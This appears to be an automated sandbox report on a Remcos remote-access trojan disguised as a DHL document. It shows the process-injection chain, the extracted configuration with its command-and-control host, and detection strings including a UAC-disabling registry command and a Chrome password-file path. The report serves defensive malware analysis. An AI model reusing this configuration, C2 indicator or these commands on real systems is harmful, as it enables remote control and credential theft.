Play interactive tour

Edit tour

Windows Analysis Report ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe

Overview

General Information

Sample Name:	ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe
Analysis ID:	491719
MD5:	3808d4a11cbee20896cca28f9a3bcb9b
SHA1:	b3a533d6e00ace2ec0612c9af66c6dd69c5180b3
SHA256:	53c2e53d33f80e88b16cce06621f99680e0e5f387315cb81af97cee58080165a
Tags:	DHLexegeoPRTRATRemcosRAT
Infos:
Most interesting Screenshot:

Detection

Remcos

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Malicious sample detected (through community Yara rule)

Yara detected Remcos RAT

Detected Remcos RAT

Multi AV Scanner detection for dropped file

Initial sample is a PE file and has a suspicious name

Writes to foreign memory regions

Contains functionality to steal Firefox passwords or cookies

Delayed program exit found

Allocates memory in foreign processes

Contains functionality to steal Chrome passwords or cookies

C2 URLs / IPs found in malware configuration

Creates a thread in another existing process (thread injection)

Uses dynamic DNS services

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to launch a control a shell (cmd.exe)

Contains functionality to dynamically determine API calls

Contains functionality to read the clipboard data

Creates processes with suspicious names

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Entry point lies outside standard sections

Contains long sleeps (>= 3 min)

Extensive use of GetProcAddress (often used to hide API calls)

PE file contains strange resources

Drops PE files

Contains functionality to read the PEB

Detected TCP or UDP traffic on non-standard ports

Uses reg.exe to modify the Windows registry

Contains functionality to retrieve information about pressed keystrokes

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

Contains functionality to simulate mouse events

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64

ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe (PID: 6548 cmdline: 'C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe' MD5: 3808D4A11CBEE20896CCA28F9A3BCB9B)

mobsync.exe (PID: 1368 cmdline: C:\Windows\System32\mobsync.exe MD5: 44C19378FA529DD88674BAF647EBDC3C)

cmd.exe (PID: 7156 cmdline: C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Trast.bat' ' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6852 cmdline: C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 1852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5048 cmdline: C:\Windows\system32\cmd.exe /c ''C:\Users\Public\nest.bat' ' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

reg.exe (PID: 1680 cmdline: reg delete hkcu\Environment /v windir /f MD5: CEE2A7E57DF2A159A065A34913A055C2)

conhost.exe (PID: 5508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

Iqzenco.exe (PID: 7112 cmdline: 'C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe' MD5: 3808D4A11CBEE20896CCA28F9A3BCB9B)

mobsync.exe (PID: 4108 cmdline: C:\Windows\System32\mobsync.exe MD5: 44C19378FA529DD88674BAF647EBDC3C)

Iqzenco.exe (PID: 484 cmdline: 'C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe' MD5: 3808D4A11CBEE20896CCA28F9A3BCB9B)

secinit.exe (PID: 6644 cmdline: C:\Windows\System32\secinit.exe MD5: 174A363BB5A2D88B224546C15DD10906)

cleanup

Malware Configuration

Threatname: Remcos

{"Version": "3.1.5 Pro", "Host:Port:Password": "ongod4ever.ddns.net:5652:0", "Assigned name": "ABLE GOD", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Disable", "Install path": "AppData", "Copy file": "remcos.exe", "Startup value": "Remcos", "Hide file": "Disable", "Mutex": "Remcos-8VTGWT", "Keylog flag": "0", "Keylog path": "AppData", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "notepad;solitaire;", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio path": "AppData", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "20000"}

Yara Overview

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\Public\Libraries\ocnezqI.url	Methodology_Contains_Shortcut_OtherURIhandlers	Detects possible shortcut usage for .URL persistence	@itsreallynick (Nick Carr)	0x14:$file: URL= 0x0:$url_explicit: [InternetShortcut]

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.937782591.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000005.00000002.937782591.0000000000400000.00000040.00000001.sdmp	REMCOS_RAT_variants	unknown	unknown	0x606bc:$str_a1: C:\Windows\System32\cmd.exe 0x60638:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x60638:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5fc38:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x60290:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x5f86c:$str_b2: Executing file: 0x60800:$str_b3: GetDirectListeningPort 0x60050:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x603d4:$str_b5: licence_code.txt 0x60278:$str_b7: \update.vbs 0x5f8dc:$str_b9: Downloaded file: 0x5f8a8:$str_b10: Downloading file: 0x5f890:$str_b12: Failed to upload file: 0x607c8:$str_b13: StartForward 0x607e8:$str_b14: StopForward 0x60220:$str_b15: fso.DeleteFile " 0x601b4:$str_b16: On Error Resume Next 0x60250:$str_b17: fso.DeleteFolder " 0x5f880:$str_b18: Uploaded file: 0x5f91c:$str_b19: Unable to delete: 0x601e8:$str_b20: while fso.FileExists("
00000016.00000002.825096146.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000016.00000002.825096146.0000000000400000.00000040.00000001.sdmp	REMCOS_RAT_variants	unknown	unknown	0x606bc:$str_a1: C:\Windows\System32\cmd.exe 0x60638:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x60638:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5fc38:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x60290:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x5f86c:$str_b2: Executing file: 0x60800:$str_b3: GetDirectListeningPort 0x60050:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x603d4:$str_b5: licence_code.txt 0x60278:$str_b7: \update.vbs 0x5f8dc:$str_b9: Downloaded file: 0x5f8a8:$str_b10: Downloading file: 0x5f890:$str_b12: Failed to upload file: 0x607c8:$str_b13: StartForward 0x607e8:$str_b14: StopForward 0x60220:$str_b15: fso.DeleteFile " 0x601b4:$str_b16: On Error Resume Next 0x60250:$str_b17: fso.DeleteFolder " 0x5f880:$str_b18: Uploaded file: 0x5f91c:$str_b19: Unable to delete: 0x601e8:$str_b20: while fso.FileExists("
00000005.00000002.938674908.0000000002EA7000.00000004.00000020.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000001A.00000002.850111414.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000001A.00000002.850111414.0000000000400000.00000040.00000001.sdmp	REMCOS_RAT_variants	unknown	unknown	0x606bc:$str_a1: C:\Windows\System32\cmd.exe 0x60638:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x60638:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5fc38:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x60290:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x5f86c:$str_b2: Executing file: 0x60800:$str_b3: GetDirectListeningPort 0x60050:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x603d4:$str_b5: licence_code.txt 0x60278:$str_b7: \update.vbs 0x5f8dc:$str_b9: Downloaded file: 0x5f8a8:$str_b10: Downloading file: 0x5f890:$str_b12: Failed to upload file: 0x607c8:$str_b13: StartForward 0x607e8:$str_b14: StopForward 0x60220:$str_b15: fso.DeleteFile " 0x601b4:$str_b16: On Error Resume Next 0x60250:$str_b17: fso.DeleteFolder " 0x5f880:$str_b18: Uploaded file: 0x5f91c:$str_b19: Unable to delete: 0x601e8:$str_b20: while fso.FileExists("
00000016.00000002.827146573.0000000003178000.00000004.00000020.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000005.00000002.939914286.0000000050601000.00000040.00000001.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000016.00000002.827407780.0000000050601000.00000040.00000001.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000001A.00000002.851109980.0000000050601000.00000040.00000001.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000001A.00000002.850918949.0000000003327000.00000004.00000020.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: mobsync.exe PID: 1368	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: mobsync.exe PID: 4108	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: secinit.exe PID: 6644	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
22.2.mobsync.exe.50601a02.1.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
22.2.mobsync.exe.50601a02.1.unpack	REMCOS_RAT_variants	unknown	unknown	0x5d2bc:$str_a1: C:\Windows\System32\cmd.exe 0x5d238:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5d238:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5c838:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x5ce90:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x5c46c:$str_b2: Executing file: 0x5d400:$str_b3: GetDirectListeningPort 0x5cc50:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x5cfd4:$str_b5: licence_code.txt 0x5ce78:$str_b7: \update.vbs 0x5c4dc:$str_b9: Downloaded file: 0x5c4a8:$str_b10: Downloading file: 0x5c490:$str_b12: Failed to upload file: 0x5d3c8:$str_b13: StartForward 0x5d3e8:$str_b14: StopForward 0x5ce20:$str_b15: fso.DeleteFile " 0x5cdb4:$str_b16: On Error Resume Next 0x5ce50:$str_b17: fso.DeleteFolder " 0x5c480:$str_b18: Uploaded file: 0x5c51c:$str_b19: Unable to delete: 0x5cde8:$str_b20: while fso.FileExists("
5.2.mobsync.exe.400000.0.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
5.2.mobsync.exe.400000.0.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x606bc:$str_a1: C:\Windows\System32\cmd.exe 0x60638:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x60638:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5fc38:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x60290:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x5f86c:$str_b2: Executing file: 0x60800:$str_b3: GetDirectListeningPort 0x60050:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x603d4:$str_b5: licence_code.txt 0x60278:$str_b7: \update.vbs 0x5f8dc:$str_b9: Downloaded file: 0x5f8a8:$str_b10: Downloading file: 0x5f890:$str_b12: Failed to upload file: 0x607c8:$str_b13: StartForward 0x607e8:$str_b14: StopForward 0x60220:$str_b15: fso.DeleteFile " 0x601b4:$str_b16: On Error Resume Next 0x60250:$str_b17: fso.DeleteFolder " 0x5f880:$str_b18: Uploaded file: 0x5f91c:$str_b19: Unable to delete: 0x601e8:$str_b20: while fso.FileExists("
26.2.secinit.exe.400000.0.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
26.2.secinit.exe.400000.0.unpack	REMCOS_RAT_variants	unknown	unknown	0x5ecbc:$str_a1: C:\Windows\System32\cmd.exe 0x5ec38:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5ec38:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5e238:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x5e890:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x5de6c:$str_b2: Executing file: 0x5ee00:$str_b3: GetDirectListeningPort 0x5e650:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x5e9d4:$str_b5: licence_code.txt 0x5e878:$str_b7: \update.vbs 0x5dedc:$str_b9: Downloaded file: 0x5dea8:$str_b10: Downloading file: 0x5de90:$str_b12: Failed to upload file: 0x5edc8:$str_b13: StartForward 0x5ede8:$str_b14: StopForward 0x5e820:$str_b15: fso.DeleteFile " 0x5e7b4:$str_b16: On Error Resume Next 0x5e850:$str_b17: fso.DeleteFolder " 0x5de80:$str_b18: Uploaded file: 0x5df1c:$str_b19: Unable to delete: 0x5e7e8:$str_b20: while fso.FileExists("
5.2.mobsync.exe.50601a02.1.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
5.2.mobsync.exe.50601a02.1.unpack	REMCOS_RAT_variants	unknown	unknown	0x5d2bc:$str_a1: C:\Windows\System32\cmd.exe 0x5d238:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5d238:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5c838:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x5ce90:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x5c46c:$str_b2: Executing file: 0x5d400:$str_b3: GetDirectListeningPort 0x5cc50:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x5cfd4:$str_b5: licence_code.txt 0x5ce78:$str_b7: \update.vbs 0x5c4dc:$str_b9: Downloaded file: 0x5c4a8:$str_b10: Downloading file: 0x5c490:$str_b12: Failed to upload file: 0x5d3c8:$str_b13: StartForward 0x5d3e8:$str_b14: StopForward 0x5ce20:$str_b15: fso.DeleteFile " 0x5cdb4:$str_b16: On Error Resume Next 0x5ce50:$str_b17: fso.DeleteFolder " 0x5c480:$str_b18: Uploaded file: 0x5c51c:$str_b19: Unable to delete: 0x5cde8:$str_b20: while fso.FileExists("
26.2.secinit.exe.50601a02.1.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
26.2.secinit.exe.50601a02.1.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x5ecbc:$str_a1: C:\Windows\System32\cmd.exe 0x5ec38:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5ec38:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5e238:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x5e890:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x5de6c:$str_b2: Executing file: 0x5ee00:$str_b3: GetDirectListeningPort 0x5e650:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x5e9d4:$str_b5: licence_code.txt 0x5e878:$str_b7: \update.vbs 0x5dedc:$str_b9: Downloaded file: 0x5dea8:$str_b10: Downloading file: 0x5de90:$str_b12: Failed to upload file: 0x5edc8:$str_b13: StartForward 0x5ede8:$str_b14: StopForward 0x5e820:$str_b15: fso.DeleteFile " 0x5e7b4:$str_b16: On Error Resume Next 0x5e850:$str_b17: fso.DeleteFolder " 0x5de80:$str_b18: Uploaded file: 0x5df1c:$str_b19: Unable to delete: 0x5e7e8:$str_b20: while fso.FileExists("
5.2.mobsync.exe.400000.0.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
5.2.mobsync.exe.400000.0.unpack	REMCOS_RAT_variants	unknown	unknown	0x5ecbc:$str_a1: C:\Windows\System32\cmd.exe 0x5ec38:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5ec38:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5e238:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x5e890:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x5de6c:$str_b2: Executing file: 0x5ee00:$str_b3: GetDirectListeningPort 0x5e650:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x5e9d4:$str_b5: licence_code.txt 0x5e878:$str_b7: \update.vbs 0x5dedc:$str_b9: Downloaded file: 0x5dea8:$str_b10: Downloading file: 0x5de90:$str_b12: Failed to upload file: 0x5edc8:$str_b13: StartForward 0x5ede8:$str_b14: StopForward 0x5e820:$str_b15: fso.DeleteFile " 0x5e7b4:$str_b16: On Error Resume Next 0x5e850:$str_b17: fso.DeleteFolder " 0x5de80:$str_b18: Uploaded file: 0x5df1c:$str_b19: Unable to delete: 0x5e7e8:$str_b20: while fso.FileExists("
26.2.secinit.exe.50601a02.1.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
26.2.secinit.exe.50601a02.1.unpack	REMCOS_RAT_variants	unknown	unknown	0x5d2bc:$str_a1: C:\Windows\System32\cmd.exe 0x5d238:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5d238:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5c838:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x5ce90:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x5c46c:$str_b2: Executing file: 0x5d400:$str_b3: GetDirectListeningPort 0x5cc50:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x5cfd4:$str_b5: licence_code.txt 0x5ce78:$str_b7: \update.vbs 0x5c4dc:$str_b9: Downloaded file: 0x5c4a8:$str_b10: Downloading file: 0x5c490:$str_b12: Failed to upload file: 0x5d3c8:$str_b13: StartForward 0x5d3e8:$str_b14: StopForward 0x5ce20:$str_b15: fso.DeleteFile " 0x5cdb4:$str_b16: On Error Resume Next 0x5ce50:$str_b17: fso.DeleteFolder " 0x5c480:$str_b18: Uploaded file: 0x5c51c:$str_b19: Unable to delete: 0x5cde8:$str_b20: while fso.FileExists("
5.2.mobsync.exe.50601a02.1.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
5.2.mobsync.exe.50601a02.1.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x5ecbc:$str_a1: C:\Windows\System32\cmd.exe 0x5ec38:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5ec38:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5e238:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x5e890:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x5de6c:$str_b2: Executing file: 0x5ee00:$str_b3: GetDirectListeningPort 0x5e650:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x5e9d4:$str_b5: licence_code.txt 0x5e878:$str_b7: \update.vbs 0x5dedc:$str_b9: Downloaded file: 0x5dea8:$str_b10: Downloading file: 0x5de90:$str_b12: Failed to upload file: 0x5edc8:$str_b13: StartForward 0x5ede8:$str_b14: StopForward 0x5e820:$str_b15: fso.DeleteFile " 0x5e7b4:$str_b16: On Error Resume Next 0x5e850:$str_b17: fso.DeleteFolder " 0x5de80:$str_b18: Uploaded file: 0x5df1c:$str_b19: Unable to delete: 0x5e7e8:$str_b20: while fso.FileExists("
22.2.mobsync.exe.400000.0.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
22.2.mobsync.exe.400000.0.unpack	REMCOS_RAT_variants	unknown	unknown	0x5ecbc:$str_a1: C:\Windows\System32\cmd.exe 0x5ec38:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5ec38:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5e238:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x5e890:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x5de6c:$str_b2: Executing file: 0x5ee00:$str_b3: GetDirectListeningPort 0x5e650:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x5e9d4:$str_b5: licence_code.txt 0x5e878:$str_b7: \update.vbs 0x5dedc:$str_b9: Downloaded file: 0x5dea8:$str_b10: Downloading file: 0x5de90:$str_b12: Failed to upload file: 0x5edc8:$str_b13: StartForward 0x5ede8:$str_b14: StopForward 0x5e820:$str_b15: fso.DeleteFile " 0x5e7b4:$str_b16: On Error Resume Next 0x5e850:$str_b17: fso.DeleteFolder " 0x5de80:$str_b18: Uploaded file: 0x5df1c:$str_b19: Unable to delete: 0x5e7e8:$str_b20: while fso.FileExists("
26.2.secinit.exe.400000.0.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
26.2.secinit.exe.400000.0.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x606bc:$str_a1: C:\Windows\System32\cmd.exe 0x60638:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x60638:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5fc38:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x60290:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x5f86c:$str_b2: Executing file: 0x60800:$str_b3: GetDirectListeningPort 0x60050:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x603d4:$str_b5: licence_code.txt 0x60278:$str_b7: \update.vbs 0x5f8dc:$str_b9: Downloaded file: 0x5f8a8:$str_b10: Downloading file: 0x5f890:$str_b12: Failed to upload file: 0x607c8:$str_b13: StartForward 0x607e8:$str_b14: StopForward 0x60220:$str_b15: fso.DeleteFile " 0x601b4:$str_b16: On Error Resume Next 0x60250:$str_b17: fso.DeleteFolder " 0x5f880:$str_b18: Uploaded file: 0x5f91c:$str_b19: Unable to delete: 0x601e8:$str_b20: while fso.FileExists("
22.2.mobsync.exe.50601a02.1.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
22.2.mobsync.exe.50601a02.1.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x5ecbc:$str_a1: C:\Windows\System32\cmd.exe 0x5ec38:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5ec38:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5e238:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x5e890:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x5de6c:$str_b2: Executing file: 0x5ee00:$str_b3: GetDirectListeningPort 0x5e650:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x5e9d4:$str_b5: licence_code.txt 0x5e878:$str_b7: \update.vbs 0x5dedc:$str_b9: Downloaded file: 0x5dea8:$str_b10: Downloading file: 0x5de90:$str_b12: Failed to upload file: 0x5edc8:$str_b13: StartForward 0x5ede8:$str_b14: StopForward 0x5e820:$str_b15: fso.DeleteFile " 0x5e7b4:$str_b16: On Error Resume Next 0x5e850:$str_b17: fso.DeleteFolder " 0x5de80:$str_b18: Uploaded file: 0x5df1c:$str_b19: Unable to delete: 0x5e7e8:$str_b20: while fso.FileExists("
22.2.mobsync.exe.400000.0.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
22.2.mobsync.exe.400000.0.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x606bc:$str_a1: C:\Windows\System32\cmd.exe 0x60638:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x60638:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x5fc38:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x60290:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x5f86c:$str_b2: Executing file: 0x60800:$str_b3: GetDirectListeningPort 0x60050:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x603d4:$str_b5: licence_code.txt 0x60278:$str_b7: \update.vbs 0x5f8dc:$str_b9: Downloaded file: 0x5f8a8:$str_b10: Downloading file: 0x5f890:$str_b12: Failed to upload file: 0x607c8:$str_b13: StartForward 0x607e8:$str_b14: StopForward 0x60220:$str_b15: fso.DeleteFile " 0x601b4:$str_b16: On Error Resume Next 0x60250:$str_b17: fso.DeleteFolder " 0x5f880:$str_b18: Uploaded file: 0x5f91c:$str_b19: Unable to delete: 0x601e8:$str_b20: while fso.FileExists("
Click to see the 19 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 22.2.mobsync.exe.400000.0.unpack

